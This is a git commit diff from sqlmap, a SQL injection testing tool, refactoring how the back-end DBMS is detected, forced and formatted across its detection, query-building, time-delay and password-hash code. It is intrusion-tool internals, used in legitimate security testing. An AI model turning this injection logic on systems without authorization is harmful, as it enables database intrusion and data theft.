Major code refactoring - centralized all kb.dbms* info for both retrieval and set.

This commit is contained in:
Bernardo Damele 2011-01-19 23:06:15 +00:00
parent 4bdc19d879
commit bade0e3124
39 changed files with 915 additions and 810 deletions

View File

@ -8,7 +8,8 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.controller.handler import setHandler from lib.controller.handler import setHandler
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import backend
from lib.core.common import format
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@ -30,8 +31,8 @@ def action():
# system to be able to go ahead with the injection # system to be able to go ahead with the injection
setHandler() setHandler()
if not kb.dbmsDetected or not conf.dbmsHandler: if not backend.getDbms() or not conf.dbmsHandler:
htmlParsed = getErrorParsedDBMSesFormatted() htmlParsed = format.getErrorParsedDBMSes()
errMsg = "sqlmap was not able to fingerprint the " errMsg = "sqlmap was not able to fingerprint the "
errMsg += "back-end database management system" errMsg += "back-end database management system"

View File

@ -13,15 +13,14 @@ import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import aliasToDbmsEnum from lib.core.common import aliasToDbmsEnum
from lib.core.common import backend
from lib.core.common import beep from lib.core.common import beep
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import findDynamicContent from lib.core.common import findDynamicContent
from lib.core.common import format
from lib.core.common import getComparePageRatio from lib.core.common import getComparePageRatio
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getErrorParsedDBMSes from lib.core.common import getSortedInjectionTests
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getInjectionTests
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
@ -50,6 +49,7 @@ from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUserQuitException from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setDynamicMarkings from lib.core.session import setDynamicMarkings
from lib.core.settings import CONSTANT_RATIO from lib.core.settings import CONSTANT_RATIO
from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
@ -78,8 +78,8 @@ def unescapeDbms(payload, injection, dbms):
payload = unescape(payload, dbms=dbms) payload = unescape(payload, dbms=dbms)
elif conf.dbms is not None: elif conf.dbms is not None:
payload = unescape(payload, dbms=conf.dbms) payload = unescape(payload, dbms=conf.dbms)
elif getIdentifiedDBMS() is not None: elif backend.getIdentifiedDbms() is not None:
payload = unescape(payload, dbms=getIdentifiedDBMS()) payload = unescape(payload, dbms=backend.getIdentifiedDbms())
return payload return payload
@ -91,7 +91,7 @@ def checkSqlInjection(place, parameter, value):
# Set the flag for sql injection test mode # Set the flag for sql injection test mode
kb.testMode = True kb.testMode = True
for test in getInjectionTests(): for test in getSortedInjectionTests():
try: try:
if kb.endDetection: if kb.endDetection:
break break
@ -164,19 +164,19 @@ def checkSqlInjection(place, parameter, value):
continue continue
if len(getErrorParsedDBMSes()) > 0 and dbms not in getErrorParsedDBMSes() and kb.skipOthersDbms is None: if len(backend.getErrorParsedDBMSes()) > 0 and dbms not in backend.getErrorParsedDBMSes() and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the " msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted() msg += "back-end DBMS could be %s. " % format.getErrorParsedDBMSes()
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if conf.realTest or readInput(msg, default="Y") in ("y", "Y"): if conf.realTest or readInput(msg, default="Y") in ("y", "Y"):
kb.skipOthersDbms = getErrorParsedDBMSes() kb.skipOthersDbms = backend.getErrorParsedDBMSes()
if kb.skipOthersDbms and dbms not in kb.skipOthersDbms: if kb.skipOthersDbms and dbms not in kb.skipOthersDbms:
debugMsg = "skipping test '%s' because " % title debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed " debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be " debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % getErrorParsedDBMSesFormatted() debugMsg += "%s" % format.getErrorParsedDBMSes()
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
@ -395,7 +395,7 @@ def checkSqlInjection(place, parameter, value):
# Force back-end DBMS according to the current # Force back-end DBMS according to the current
# test value for proper payload unescaping # test value for proper payload unescaping
kb.misc.forcedDbms = dbms backend.forceDbms(dbms)
# Skip test if the user provided custom column # Skip test if the user provided custom column
# range and this is not a custom UNION test # range and this is not a custom UNION test
@ -407,7 +407,7 @@ def checkSqlInjection(place, parameter, value):
configUnion(test.request.char, test.request.columns) configUnion(test.request.char, test.request.columns)
if not getIdentifiedDBMS(): if not backend.getIdentifiedDbms():
warnMsg = "using unescaped version of the test " warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the " warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS" warnMsg += "back-end DBMS"
@ -426,8 +426,8 @@ def checkSqlInjection(place, parameter, value):
# by unionTest() directly # by unionTest() directly
where = vector[6] where = vector[6]
# Reset back-end DBMS value # Reset forced back-end DBMS value
kb.misc.forcedDbms = None backend.flushForcedDbms()
# If the injection test was successful feed the injection # If the injection test was successful feed the injection
# object with the test's details # object with the test's details
@ -481,7 +481,7 @@ def checkSqlInjection(place, parameter, value):
if inp == injection.dbms: if inp == injection.dbms:
break break
elif inp == dValue: elif inp == dValue:
kb.dbms = aliasToDbmsEnum(inp) backend.setDbms(inp)
injection.dbms = aliasToDbmsEnum(inp) injection.dbms = aliasToDbmsEnum(inp)
injection.dbms_version = None injection.dbms_version = None
break break
@ -489,10 +489,10 @@ def checkSqlInjection(place, parameter, value):
warnMsg = "invalid value" warnMsg = "invalid value"
logger.warn(warnMsg) logger.warn(warnMsg)
elif dKey == "dbms" and injection.dbms is None: elif dKey == "dbms" and injection.dbms is None:
kb.dbms = aliasToDbmsEnum(dValue) backend.setDbms(dValue)
injection.dbms = aliasToDbmsEnum(dValue) injection.dbms = aliasToDbmsEnum(dValue)
elif dKey == "dbms_version" and injection.dbms_version is None: elif dKey == "dbms_version" and injection.dbms_version is None:
kb.dbmsVersion = [ dValue ] backend.setVersion(dValue)
injection.dbms_version = dValue injection.dbms_version = dValue
elif dKey == "os" and injection.os is None: elif dKey == "os" and injection.os is None:
injection.os = dValue injection.os = dValue
@ -558,7 +558,7 @@ def heuristicCheckSqlInjection(place, parameter):
infoMsg += "parameter '%s' might " % parameter infoMsg += "parameter '%s' might " % parameter
if result: if result:
infoMsg += "be injectable (possible DBMS: %s)" % (getErrorParsedDBMSesFormatted() or 'Unknown') infoMsg += "be injectable (possible DBMS: %s)" % (format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
logger.info(infoMsg) logger.info(infoMsg)
else: else:
infoMsg += "not be injectable" infoMsg += "not be injectable"

View File

@ -7,7 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.data import conf from lib.core.data import conf
@ -63,11 +63,11 @@ def setHandler():
( SYBASE_ALIASES, SybaseMap, SybaseConn ), ( SYBASE_ALIASES, SybaseMap, SybaseConn ),
] ]
if getIdentifiedDBMS() is not None: if backend.getIdentifiedDbms() is not None:
for i in xrange(len(dbmsObj)): for i in xrange(len(dbmsObj)):
dbmsAliases, _, _ = dbmsObj[i] dbmsAliases, _, _ = dbmsObj[i]
if getIdentifiedDBMS().lower() in dbmsAliases: if backend.getIdentifiedDbms().lower() in dbmsAliases:
if i > 0: if i > 0:
pushValue(dbmsObj[i]) pushValue(dbmsObj[i])
dbmsObj.remove(dbmsObj[i]) dbmsObj.remove(dbmsObj[i])
@ -94,12 +94,12 @@ def setHandler():
conf.dbmsConnector.connect() conf.dbmsConnector.connect()
if handler.checkDbms(): if handler.checkDbms():
kb.dbmsDetected = True
conf.dbmsHandler = handler conf.dbmsHandler = handler
break break
else: else:
conf.dbmsConnector = None conf.dbmsConnector = None
# At this point proper back-end DBMS is fingerprinted (kb.dbms) # At this point back-end DBMS is correctly fingerprinted, no need
kb.misc.forcedDbms = None # to enforce it anymore
backend.flushForcedDbms()

View File

@ -11,9 +11,8 @@ import re
from xml.etree import ElementTree as ET from xml.etree import ElementTree as ET
from lib.core.common import backend
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getErrorParsedDBMSes
from lib.core.common import getIdentifiedDBMS
from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isDBMSVersionAtLeast
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import randomInt from lib.core.common import randomInt
@ -206,8 +205,8 @@ class Agent:
payload = payload.replace("[ORIGVALUE]", origvalue) payload = payload.replace("[ORIGVALUE]", origvalue)
if "[INFERENCE]" in payload: if "[INFERENCE]" in payload:
if getIdentifiedDBMS() is not None: if backend.getIdentifiedDbms() is not None:
inference = queries[getIdentifiedDBMS()].inference inference = queries[backend.getIdentifiedDbms()].inference
if "dbms_version" in inference: if "dbms_version" in inference:
if isDBMSVersionAtLeast(inference.dbms_version): if isDBMSVersionAtLeast(inference.dbms_version):
@ -265,17 +264,17 @@ class Agent:
# SQLite version 2 does not support neither CAST() nor IFNULL(), # SQLite version 2 does not support neither CAST() nor IFNULL(),
# introduced only in SQLite version 3 # introduced only in SQLite version 3
if getIdentifiedDBMS() == DBMS.SQLITE: if backend.getIdentifiedDbms() == DBMS.SQLITE:
return field return field
if field.startswith("(CASE"): if field.startswith("(CASE"):
nulledCastedField = field nulledCastedField = field
else: else:
nulledCastedField = queries[getIdentifiedDBMS()].cast.query % field nulledCastedField = queries[backend.getIdentifiedDbms()].cast.query % field
if getIdentifiedDBMS() == DBMS.ACCESS: if backend.getIdentifiedDbms() == DBMS.ACCESS:
nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % (nulledCastedField, nulledCastedField) nulledCastedField = queries[backend.getIdentifiedDbms()].isnull.query % (nulledCastedField, nulledCastedField)
else: else:
nulledCastedField = queries[getIdentifiedDBMS()].isnull.query % nulledCastedField nulledCastedField = queries[backend.getIdentifiedDbms()].isnull.query % nulledCastedField
return nulledCastedField return nulledCastedField
@ -309,12 +308,12 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
if not kb.dbmsDetected: if not backend.getDbms():
return fields return fields
fields = fields.replace(", ", ",") fields = fields.replace(", ", ",")
fieldsSplitted = fields.split(",") fieldsSplitted = fields.split(",")
dbmsDelimiter = queries[getIdentifiedDBMS()].delimiter.query dbmsDelimiter = queries[backend.getIdentifiedDbms()].delimiter.query
nulledCastedFields = [] nulledCastedFields = []
for field in fieldsSplitted: for field in fieldsSplitted:
@ -377,13 +376,13 @@ class Agent:
def simpleConcatQuery(self, query1, query2): def simpleConcatQuery(self, query1, query2):
concatenatedQuery = "" concatenatedQuery = ""
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2) concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): elif backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
concatenatedQuery = "%s||%s" % (query1, query2) concatenatedQuery = "%s||%s" % (query1, query2)
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
concatenatedQuery = "%s+%s" % (query1, query2) concatenatedQuery = "%s+%s" % (query1, query2)
return concatenatedQuery return concatenatedQuery
@ -425,7 +424,7 @@ class Agent:
concatenatedQuery = query concatenatedQuery = query
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
concatenatedQuery += ",'%s')" % kb.misc.stop concatenatedQuery += ",'%s')" % kb.misc.stop
@ -438,7 +437,7 @@ class Agent:
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop) concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): elif backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery += "||'%s'" % kb.misc.stop concatenatedQuery += "||'%s'" % kb.misc.stop
@ -451,10 +450,10 @@ class Agent:
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop) concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
if getIdentifiedDBMS() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect): if backend.getIdentifiedDbms() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect):
concatenatedQuery += " FROM DUAL" concatenatedQuery += " FROM DUAL"
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery += "+'%s'" % kb.misc.stop concatenatedQuery += "+'%s'" % kb.misc.stop
@ -520,8 +519,8 @@ class Agent:
intoRegExp = intoRegExp.group(1) intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)] query = query[:query.index(intoRegExp)]
if getIdentifiedDBMS() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[getIdentifiedDBMS()]): if backend.getIdentifiedDbms() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
inbandQuery = inbandQuery[:-len(FROM_TABLE[getIdentifiedDBMS()])] inbandQuery = inbandQuery[:-len(FROM_TABLE[backend.getIdentifiedDbms()])]
for element in range(count): for element in range(count):
if element > 0: if element > 0:
@ -540,9 +539,9 @@ class Agent:
conditionIndex = query.index(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:] inbandQuery += query[conditionIndex:]
if getIdentifiedDBMS() in FROM_TABLE: if backend.getIdentifiedDbms() in FROM_TABLE:
if " FROM " not in inbandQuery: if " FROM " not in inbandQuery:
inbandQuery += FROM_TABLE[getIdentifiedDBMS()] inbandQuery += FROM_TABLE[backend.getIdentifiedDbms()]
if intoRegExp: if intoRegExp:
inbandQuery += intoRegExp inbandQuery += intoRegExp
@ -559,8 +558,8 @@ class Agent:
else: else:
inbandQuery += char inbandQuery += char
if getIdentifiedDBMS() in FROM_TABLE: if backend.getIdentifiedDbms() in FROM_TABLE:
inbandQuery += FROM_TABLE[getIdentifiedDBMS()] inbandQuery += FROM_TABLE[backend.getIdentifiedDbms()]
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix) inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
@ -589,21 +588,21 @@ class Agent:
""" """
limitedQuery = query limitedQuery = query
limitStr = queries[getIdentifiedDBMS()].limit.query limitStr = queries[backend.getIdentifiedDbms()].limit.query
fromIndex = limitedQuery.index(" FROM ") fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex] untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:] fromFrom = limitedQuery[fromIndex+1:]
orderBy = False orderBy = False
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
limitStr = queries[getIdentifiedDBMS()].limit.query % (num, 1) limitStr = queries[backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
limitStr = queries[getIdentifiedDBMS()].limit.query % (num+1, num+1) limitStr = queries[backend.getIdentifiedDbms()].limit.query % (num+1, num+1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery: if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
@ -615,7 +614,7 @@ class Agent:
limitedQuery = limitedQuery % fromFrom limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1) limitedQuery += "=%d" % (num + 1)
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
forgeNotIn = True forgeNotIn = True
if " ORDER BY " in limitedQuery: if " ORDER BY " in limitedQuery:
@ -629,7 +628,7 @@ class Agent:
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct) limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "): if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[getIdentifiedDBMS()].limitregexp.query, limitedQuery, re.I) topNums = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
if topNums: if topNums:
topNums = topNums.groups() topNums = topNums.groups()
@ -675,8 +674,8 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
if getIdentifiedDBMS() is not None and hasattr(queries[getIdentifiedDBMS()], "case"): if backend.getIdentifiedDbms() is not None and hasattr(queries[backend.getIdentifiedDbms()], "case"):
return queries[getIdentifiedDBMS()].case.query % expression return queries[backend.getIdentifiedDbms()].case.query % expression
else: else:
return expression return expression

View File

@ -78,12 +78,14 @@ from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import TIME_DEFAULT_DELAY from lib.core.settings import TIME_DEFAULT_DELAY
from lib.core.settings import TIME_STDEV_COEFF from lib.core.settings import TIME_STDEV_COEFF
from lib.core.settings import DYNAMICITY_MARK_LENGTH from lib.core.settings import DYNAMICITY_MARK_LENGTH
from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
class UnicodeRawConfigParser(RawConfigParser): class UnicodeRawConfigParser(RawConfigParser):
""" """
RawConfigParser with unicode writing support RawConfigParser with unicode writing support
""" """
def write(self, fp): def write(self, fp):
""" """
Write an .ini-format representation of the configuration state. Write an .ini-format representation of the configuration state.
@ -109,10 +111,10 @@ class UnicodeRawConfigParser(RawConfigParser):
fp.write("\n") fp.write("\n")
class DynamicContentItem: class DynamicContentItem:
""" """
Represents line in content page with dynamic properties (candidate for removal prior detection phase) Represents line in content page with dynamic properties (candidate
for removal prior detection phase)
""" """
def __init__(self, lineNumber, pageTotal, lineContentBefore, lineContentAfter): def __init__(self, lineNumber, pageTotal, lineContentBefore, lineContentAfter):
@ -121,7 +123,6 @@ class DynamicContentItem:
self.lineContentBefore = lineContentBefore self.lineContentBefore = lineContentBefore
self.lineContentAfter = lineContentAfter self.lineContentAfter = lineContentAfter
def paramToDict(place, parameters=None): def paramToDict(place, parameters=None):
""" """
Split the parameters into names and values, check if these parameters Split the parameters into names and values, check if these parameters
@ -203,110 +204,6 @@ def paramToDict(place, parameters=None):
return testableParameters return testableParameters
def formatDBMSfp(versions=None):
"""
This function format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.
@return: detected back-end DBMS based upon fingerprint techniques.
@rtype: C{str}
"""
while versions and None in versions:
versions.remove(None)
if not versions and kb.dbmsVersion and kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION and kb.dbmsVersion[0] != None:
versions = kb.dbmsVersion
if isinstance(versions, basestring):
return "%s %s" % (getIdentifiedDBMS(), versions)
elif isinstance(versions, (list, set, tuple)):
return "%s %s" % (getIdentifiedDBMS(), " and ".join([version for version in versions]))
elif not versions:
warnMsg = "unable to extensively fingerprint the back-end "
warnMsg += "DBMS version"
logger.warn(warnMsg)
return getIdentifiedDBMS()
def formatFingerprintString(values, chain=" or "):
strJoin = "|".join([v for v in values])
return strJoin.replace("|", chain)
def formatFingerprint(target, info):
"""
This function format the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
{
'distrib': set(['Ubuntu']),
'type': set(['Linux']),
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
'release': set(['8.10'])
}
Example of info (kb.bannerFp) dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}
"""
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
if "distrib" in info:
infoStr += " %s" % formatFingerprintString(info["distrib"])
if "release" in info:
infoStr += " %s" % formatFingerprintString(info["release"])
if "sp" in info:
infoStr += " %s" % formatFingerprintString(info["sp"])
if "codename" in info:
infoStr += " (%s)" % formatFingerprintString(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
return infoStr
def getErrorParsedDBMSesFormatted():
"""
This function parses the knowledge base htmlFp list and return its
values formatted as a human readable string.
@return: list of possible back-end DBMS based upon error messages
parsing.
@rtype: C{str}
"""
htmlParsed = ""
if len(kb.htmlFp) == 0:
return None
elif len(kb.htmlFp) == 1:
htmlParsed = kb.htmlFp[0]
elif len(kb.htmlFp) > 1:
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
return htmlParsed
def getDocRoot(webApi=None): def getDocRoot(webApi=None):
docRoot = None docRoot = None
pagePath = directoryPath(conf.path) pagePath = directoryPath(conf.path)
@ -626,14 +523,14 @@ def parsePasswordHash(password):
if not password or password == " ": if not password or password == " ":
password = "NULL" password = "NULL"
if getIdentifiedDBMS() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password): if backend.getIdentifiedDbms() == DBMS.MSSQL and password != "NULL" and isHexEncodedString(password):
hexPassword = password hexPassword = password
password = "%s\n" % hexPassword password = "%s\n" % hexPassword
password += "%sheader: %s\n" % (blank, hexPassword[:6]) password += "%sheader: %s\n" % (blank, hexPassword[:6])
password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54]) password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
if kb.dbmsVersion[0] not in ( "2005", "2008" ): if not backend.isVersionWithin(("2005", "2008")):
password += "%suppercase: %s" % (blank, hexPassword[54:]) password += "%suppercase: %s" % (blank, hexPassword[54:])
return password return password
@ -927,25 +824,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
def getDelayQuery(andCond=False): def getDelayQuery(andCond=False):
query = None query = None
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
if not kb.data.banner: if not kb.data.banner:
conf.dbmsHandler.getVersionFromBanner() conf.dbmsHandler.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
if banVer is None or (getIdentifiedDBMS() == DBMS.MYSQL and banVer >= "5.0.12") or (getIdentifiedDBMS() == DBMS.PGSQL and banVer >= "8.2"): if banVer is None or (backend.getIdentifiedDbms() == DBMS.MYSQL and banVer >= "5.0.12") or (backend.getIdentifiedDbms() == DBMS.PGSQL and banVer >= "8.2"):
query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec query = queries[backend.getIdentifiedDbms()].timedelay.query % conf.timeSec
else: else:
query = queries[getIdentifiedDBMS()].timedelay.query2 % conf.timeSec query = queries[backend.getIdentifiedDbms()].timedelay.query2 % conf.timeSec
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = queries[getIdentifiedDBMS()].timedelay.query query = queries[backend.getIdentifiedDbms()].timedelay.query
else: else:
query = queries[getIdentifiedDBMS()].timedelay.query % conf.timeSec query = queries[backend.getIdentifiedDbms()].timedelay.query % conf.timeSec
if andCond: if andCond:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.SQLITE ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.SQLITE ):
query = query.replace("SELECT ", "") query = query.replace("SELECT ", "")
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = "(%s)>0" % query query = "(%s)>0" % query
return query return query
@ -1524,7 +1421,6 @@ def getUnicode(value, encoding=None):
else: else:
return unicode(value) # encoding ignored for non-basestring instances return unicode(value) # encoding ignored for non-basestring instances
# http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 # http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
def longestCommonPrefix(*sequences): def longestCommonPrefix(*sequences):
if len(sequences) == 1: if len(sequences) == 1:
@ -1902,8 +1798,8 @@ def isDBMSVersionAtLeast(version):
retVal = None retVal = None
if kb.dbmsVersion and kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION and kb.dbmsVersion[0] != None: if backend.getVersion() and backend.getVersion() != UNKNOWN_DBMS_VERSION:
value = kb.dbmsVersion[0].replace(" ", "").rstrip('.') value = backend.getVersion().replace(" ", "").rstrip('.')
while True: while True:
index = value.find('.', value.find('.') + 1) index = value.find('.', value.find('.') + 1)
@ -2004,7 +1900,7 @@ def arrayizeValue(value):
return value return value
def getInjectionTests(): def getSortedInjectionTests():
""" """
Returns prioritized test list by eventually detected DBMS from error Returns prioritized test list by eventually detected DBMS from error
messages messages
@ -2019,14 +1915,14 @@ def getInjectionTests():
retVal = SORTORDER.LAST retVal = SORTORDER.LAST
elif 'details' in test and 'dbms' in test.details: elif 'details' in test and 'dbms' in test.details:
if test.details.dbms in getErrorParsedDBMSes(): if test.details.dbms in backend.getErrorParsedDBMSes():
retVal = SORTORDER.SECOND retVal = SORTORDER.SECOND
else: else:
retVal = SORTORDER.THIRD retVal = SORTORDER.THIRD
return retVal return retVal
if getErrorParsedDBMSes(): if backend.getErrorParsedDBMSes():
retVal = sorted(retVal, key=priorityFunction) retVal = sorted(retVal, key=priorityFunction)
return retVal return retVal
@ -2064,34 +1960,218 @@ def unicodeToSafeHTMLValue(value):
return retVal return retVal
def getErrorParsedDBMSes(): class format:
""" @staticmethod
Returns array with parsed DBMS names till now def humanize(values, chain=" or "):
strJoin = "|".join([v for v in values])
This functions is called to: return strJoin.replace("|", chain)
1. Sort the tests, getInjectionTests() - detection phase. # Get methods
2. Ask user whether or not skip specific DBMS tests in detection phase, @staticmethod
lib/controller/checks.py - detection phase. def getDbms(versions=None):
3. Sort the fingerprint of the DBMS, lib/controller/handler.py - """
fingerprint phase. Format the back-end DBMS fingerprint value and return its
""" values formatted as a human readable string.
return kb.htmlFp @return: detected back-end DBMS based upon fingerprint techniques.
@rtype: C{str}
"""
def getIdentifiedDBMS(): if versions is None and backend.getVersionList():
dbms = None versions = backend.getVersionList()
if kb.misc.forcedDbms is not None: if versions is None:
dbms = kb.misc.forcedDbms return backend.getDbms()
elif kb.dbms is not None: else:
dbms = kb.dbms return "%s %s" % (backend.getDbms(), " and ".join([v for v in versions]))
elif conf.dbms is not None:
dbms = conf.dbms
elif len(getErrorParsedDBMSes()) > 0:
